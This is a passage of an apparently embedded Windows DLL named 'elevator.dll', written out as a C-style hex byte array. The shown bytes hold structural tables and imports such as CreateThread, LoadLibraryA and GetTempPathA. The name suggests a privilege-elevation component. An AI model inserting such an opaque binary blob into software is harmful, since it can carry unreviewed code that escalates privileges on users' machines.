0x7f, 0x15, 0x00, 0x00, 0x44, 0x70, 0x00, 0x00, + 0x7f, 0x15, 0x00, 0x00, 0xf7, 0x15, 0x00, 0x00, 0x50, 0x70, 0x00, 0x00, 0xf7, 0x15, 0x00, 0x00, + 0x1f, 0x16, 0x00, 0x00, 0x5c, 0x70, 0x00, 0x00, 0x20, 0x16, 0x00, 0x00, 0xbc, 0x16, 0x00, 0x00, + 0x68, 0x70, 0x00, 0x00, 0xbc, 0x16, 0x00, 0x00, 0xd9, 0x16, 0x00, 0x00, 0x74, 0x70, 0x00, 0x00, + 0xd9, 0x16, 0x00, 0x00, 0x17, 0x17, 0x00, 0x00, 0x7c, 0x70, 0x00, 0x00, 0x20, 0x17, 0x00, 0x00, + 0x85, 0x17, 0x00, 0x00, 0x88, 0x70, 0x00, 0x00, 0x85, 0x17, 0x00, 0x00, 0x63, 0x1a, 0x00, 0x00, + 0x94, 0x70, 0x00, 0x00, 0x63, 0x1a, 0x00, 0x00, 0x3b, 0x1b, 0x00, 0x00, 0xa0, 0x70, 0x00, 0x00, + 0x3b, 0x1b, 0x00, 0x00, 0x82, 0x1b, 0x00, 0x00, 0xac, 0x70, 0x00, 0x00, 0x82, 0x1b, 0x00, 0x00, + 0x00, 0x1f, 0x00, 0x00, 0xb8, 0x70, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0xa4, 0x1f, 0x00, 0x00, + 0xc4, 0x70, 0x00, 0x00, 0xb0, 0x1f, 0x00, 0x00, 0x51, 0x20, 0x00, 0x00, 0xd0, 0x70, 0x00, 0x00, + 0x51, 0x20, 0x00, 0x00, 0x12, 0x21, 0x00, 0x00, 0xdc, 0x70, 0x00, 0x00, 0x12, 0x21, 0x00, 0x00, + 0xb1, 0x21, 0x00, 0x00, 0xe8, 0x70, 0x00, 0x00, 0xb1, 0x21, 0x00, 0x00, 0xad, 0x22, 0x00, 0x00, + 0xf4, 0x70, 0x00, 0x00, 0xb0, 0x22, 0x00, 0x00, 0xb9, 0x22, 0x00, 0x00, 0x00, 0x71, 0x00, 0x00, + 0xc0, 0x22, 0x00, 0x00, 0x3c, 0x23, 0x00, 0x00, 0x08, 0x71, 0x00, 0x00, 0x3c, 0x23, 0x00, 0x00, + 0xd5, 0x23, 0x00, 0x00, 0x14, 0x71, 0x00, 0x00, 0xd5, 0x23, 0x00, 0x00, 0x9b, 0x24, 0x00, 0x00, + 0x20, 0x71, 0x00, 0x00, 0x9b, 0x24, 0x00, 0x00, 0xeb, 0x24, 0x00, 0x00, 0x2c, 0x71, 0x00, 0x00, + 0xeb, 0x24, 0x00, 0x00, 0x3b, 0x25, 0x00, 0x00, 0x38, 0x71, 0x00, 0x00, 0x3b, 0x25, 0x00, 0x00, + 0xe7, 0x25, 0x00, 0x00, 0x44, 0x71, 0x00, 0x00, 0xe7, 0x25, 0x00, 0x00, 0x1b, 0x26, 0x00, 0x00, + 0x50, 0x71, 0x00, 0x00, 0x1b, 0x26, 0x00, 0x00, 0x8c, 0x26, 0x00, 0x00, 0x5c, 0x71, 0x00, 0x00, + 0x8c, 0x26, 0x00, 0x00, 0x6d, 0x27, 0x00, 0x00, 0x68, 0x71, 0x00, 0x00, 0xb0, 0x27, 0x00, 0x00, + 0xf1, 0x27, 0x00, 0x00, 0x74, 0x71, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x6b, 0x28, 0x00, 0x00, + 0x80, 0x71, 0x00, 0x00, 0x70, 0x28, 0x00, 0x00, 0xca, 0x28, 0x00, 0x00, 0x8c, 0x71, 0x00, 0x00, + 0xd0, 0x28, 0x00, 0x00, 0xdd, 0x28, 0x00, 0x00, 0x98, 0x71, 0x00, 0x00, 0xe0, 0x28, 0x00, 0x00, + 0x18, 0x29, 0x00, 0x00, 0xa0, 0x71, 0x00, 0x00, 0xf0, 0x2e, 0x00, 0x00, 0xf5, 0x2e, 0x00, 0x00, + 0xac, 0x71, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x0b, 0x04, 0x05, 0x0b, 0x01, 0x18, 0x00, 0x04, 0x03, 0x01, 0x50, 0x01, 0x08, 0x03, 0x05, + 0x08, 0x52, 0x04, 0x03, 0x01, 0x50, 0x00, 0x00, 0x01, 0x08, 0x03, 0x05, 0x08, 0x32, 0x04, 0x03, + 0x01, 0x50, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x0b, 0x04, 0x35, + 0x0b, 0x03, 0x06, 0x62, 0x02, 0x30, 0x01, 0x50, 0x01, 0x08, 0x03, 0x05, 0x08, 0x32, 0x04, 0x03, + 0x01, 0x50, 0x00, 0x00, 0x01, 0x08, 0x03, 0x05, 0x08, 0x32, 0x04, 0x03, 0x01, 0x50, 0x00, 0x00, + 0x01, 0x08, 0x03, 0x05, 0x08, 0x52, 0x04, 0x03, 0x01, 0x50, 0x00, 0x00, 0x01, 0x08, 0x03, 0x05, + 0x08, 0x32, 0x04, 0x03, 0x01, 0x50, 0x00, 0x00, 0x01, 0x08, 0x03, 0x05, 0x08, 0x52, 0x04, 0x03, + 0x01, 0x50, 0x00, 0x00, 0x01, 0x04, 0x02, 0x05, 0x04, 0x03, 0x01, 0x50, 0x01, 0x08, 0x03, 0x05, + 0x08, 0x32, 0x04, 0x03, 0x01, 0x50, 0x00, 0x00, 0x01, 0x0b, 0x04, 0x35, 0x0b, 0x03, 0x06, 0x62, + 0x02, 0x30, 0x01, 0x50, 0x01, 0x08, 0x03, 0x05, 0x08, 0xb2, 0x04, 0x03, 0x01, 0x50, 0x00, 0x00, + 0x01, 0x08, 0x03, 0x05, 0x08, 0x52, 0x04, 0x03, 0x01, 0x50, 0x00, 0x00, 0x01, 0x08, 0x03, 0x05, + 0x08, 0x32, 0x04, 0x03, 0x01, 0x50, 0x00, 0x00, 0x01, 0x08, 0x03, 0x05, 0x08, 0xf2, 0x04, 0x03, + 0x01, 0x50, 0x00, 0x00, 0x01, 0x08, 0x03, 0x05, 0x08, 0x52, 0x04, 0x03, 0x01, 0x50, 0x00, 0x00, + 0x01, 0x08, 0x03, 0x05, 0x08, 0x52, 0x04, 0x03, 0x01, 0x50, 0x00, 0x00, 0x01, 0x08, 0x03, 0x05, + 0x08, 0x52, 0x04, 0x03, 0x01, 0x50, 0x00, 0x00, 0x01, 0x08, 0x03, 0x05, 0x08, 0x52, 0x04, 0x03, + 0x01, 0x50, 0x00, 0x00, 0x01, 0x08, 0x03, 0x05, 0x08, 0x52, 0x04, 0x03, 0x01, 0x50, 0x00, 0x00, + 0x01, 0x04, 0x02, 0x05, 0x04, 0x03, 0x01, 0x50, 0x01, 0x08, 0x03, 0x05, 0x08, 0x32, 0x04, 0x03, + 0x01, 0x50, 0x00, 0x00, 0x01, 0x08, 0x03, 0x05, 0x08, 0x32, 0x04, 0x03, 0x01, 0x50, 0x00, 0x00, + 0x01, 0x08, 0x03, 0x05, 0x08, 0x72, 0x04, 0x03, 0x01, 0x50, 0x00, 0x00, 0x01, 0x08, 0x03, 0x05, + 0x08, 0x52, 0x04, 0x03, 0x01, 0x50, 0x00, 0x00, 0x01, 0x08, 0x03, 0x05, 0x08, 0x52, 0x04, 0x03, + 0x01, 0x50, 0x00, 0x00, 0x01, 0x08, 0x03, 0x05, 0x08, 0x72, 0x04, 0x03, 0x01, 0x50, 0x00, 0x00, + 0x01, 0x08, 0x03, 0x05, 0x08, 0x52, 0x04, 0x03, 0x01, 0x50, 0x00, 0x00, 0x01, 0x08, 0x03, 0x05, + 0x08, 0x72, 0x04, 0x03, 0x01, 0x50, 0x00, 0x00, 0x01, 0x08, 0x03, 0x05, 0x08, 0x92, 0x04, 0x03, + 0x01, 0x50, 0x00, 0x00, 0x01, 0x08, 0x03, 0x05, 0x08, 0x52, 0x04, 0x03, 0x01, 0x50, 0x00, 0x00, + 0x01, 0x0b, 0x04, 0x45, 0x0b, 0x03, 0x06, 0x82, 0x02, 0x30, 0x01, 0x50, 0x01, 0x0b, 0x04, 0x45, + 0x0b, 0x03, 0x06, 0x82, 0x02, 0x30, 0x01, 0x50, 0x01, 0x04, 0x02, 0x05, 0x04, 0x03, 0x01, 0x50, + 0x01, 0x08, 0x03, 0x05, 0x08, 0x32, 0x04, 0x03, 0x01, 0x50, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xff, 0x6e, 0xa1, 0x69, 0x00, 0x00, 0x00, 0x00, 0x28, 0x90, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x90, 0x00, 0x00, + 0x28, 0x90, 0x00, 0x00, 0x28, 0x90, 0x00, 0x00, 0x65, 0x6c, 0x65, 0x76, 0x61, 0x74, 0x6f, 0x72, + 0x2e, 0x64, 0x6c, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb8, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa8, 0xa7, 0x00, 0x00, + 0x70, 0xa2, 0x00, 0x00, 0x88, 0xa1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xc0, 0xa7, 0x00, 0x00, 0x40, 0xa3, 0x00, 0x00, 0xa0, 0xa1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xe4, 0xa7, 0x00, 0x00, 0x58, 0xa3, 0x00, 0x00, 0xb0, 0xa1, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0xa8, 0x00, 0x00, 0x68, 0xa3, 0x00, 0x00, + 0xf0, 0xa1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xa8, 0x00, 0x00, + 0xa8, 0xa3, 0x00, 0x00, 0x10, 0xa2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x7c, 0xa8, 0x00, 0x00, 0xc8, 0xa3, 0x00, 0x00, 0x28, 0xa2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xb0, 0xa8, 0x00, 0x00, 0xe0, 0xa3, 0x00, 0x00, 0x50, 0xa2, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0xa8, 0x00, 0x00, 0x08, 0xa4, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x36, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x54, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6c, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x88, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xae, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbe, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xd2, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe4, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf6, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x12, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x3a, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x62, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x7c, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x90, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9e, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb0, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcc, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xd6, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xde, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe8, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x08, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x30, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3e, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x5a, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x62, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x8e, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xa8, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb2, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbc, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xd0, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe2, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf6, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x08, 0xa7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0xa7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x30, 0xa7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x28, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x44, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x6c, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xa0, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xae, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xbe, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd2, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe4, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf6, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x06, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x1e, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3a, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x52, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x70, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x88, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x9e, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xc0, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xcc, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd6, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xde, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe8, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x24, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x3e, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5a, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x74, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8e, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa8, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb2, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xbc, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd0, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe2, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf6, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xa7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x20, 0xa7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xa7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x00, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x48, + 0x61, 0x6e, 0x64, 0x6c, 0x65, 0x00, 0xd7, 0x00, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x46, 0x69, + 0x6c, 0x65, 0x41, 0x00, 0x07, 0x01, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x68, 0x72, 0x65, + 0x61, 0x64, 0x00, 0x00, 0x27, 0x01, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x72, 0x69, 0x74, + 0x69, 0x63, 0x61, 0x6c, 0x53, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x00, 0x38, 0x01, 0x44, 0x69, + 0x73, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x4c, 0x69, 0x62, 0x72, 0x61, + 0x72, 0x79, 0x43, 0x61, 0x6c, 0x6c, 0x73, 0x00, 0x4d, 0x01, 0x45, 0x6e, 0x74, 0x65, 0x72, 0x43, + 0x72, 0x69, 0x74, 0x69, 0x63, 0x61, 0x6c, 0x53, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x00, 0x00, + 0xca, 0x01, 0x46, 0x72, 0x65, 0x65, 0x4c, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x00, 0x88, 0x02, + 0x47, 0x65, 0x74, 0x4c, 0x61, 0x73, 0x74, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x00, 0x00, 0x9e, 0x02, + 0x47, 0x65, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x48, 0x61, 0x6e, 0x64, 0x6c, 0x65, 0x41, + 0x00, 0x00, 0xda, 0x02, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x41, 0x64, 0x64, 0x72, 0x65, + 0x73, 0x73, 0x00, 0x00, 0xe1, 0x02, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, + 0x48, 0x65, 0x61, 0x70, 0x00, 0x00, 0x25, 0x03, 0x47, 0x65, 0x74, 0x54, 0x65, 0x6d, 0x70, 0x50, + 0x61, 0x74, 0x68, 0x41, 0x00, 0x00, 0x79, 0x03, 0x48, 0x65, 0x61, 0x70, 0x41, 0x6c, 0x6c, 0x6f, + 0x63, 0x00, 0x7f, 0x03, 0x48, 0x65, 0x61, 0x70, 0x46, 0x72, 0x65, 0x65, 0x00, 0x00, 0x96, 0x03, + 0x49, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x69, 0x7a, 0x65, 0x43, 0x72, 0x69, 0x74, 0x69, 0x63, + 0x61, 0x6c, 0x53, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x00, 0xf4, 0x03, 0x4c, 0x65, 0x61, 0x76, + 0x65, 0x43, 0x72, 0x69, 0x74, 0x69, 0x63, 0x61, 0x6c, 0x53, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x00, 0x00, 0xf8, 0x03, 0x4c, 0x6f, 0x61, 0x64, 0x4c, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x41, + 0x00, 0x00, 0x3c, 0x04, 0x4f, 0x70, 0x65, 0x6e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x41, 0x00, 0x00, + 0xb1, 0x04, 0x52, 0x65, 0x61, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x00, 0x00, 0x3d, 0x05, 0x53, 0x65, + 0x74, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x00, 0x00, 0xa9, 0x05, 0x53, 0x6c, 0x65, 0x65, 0x70, 0x00, + 0xcd, 0x05, 0x54, 0x6c, 0x73, 0x47, 0x65, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x00, 0xfd, 0x05, + 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6c, 0x50, 0x72, 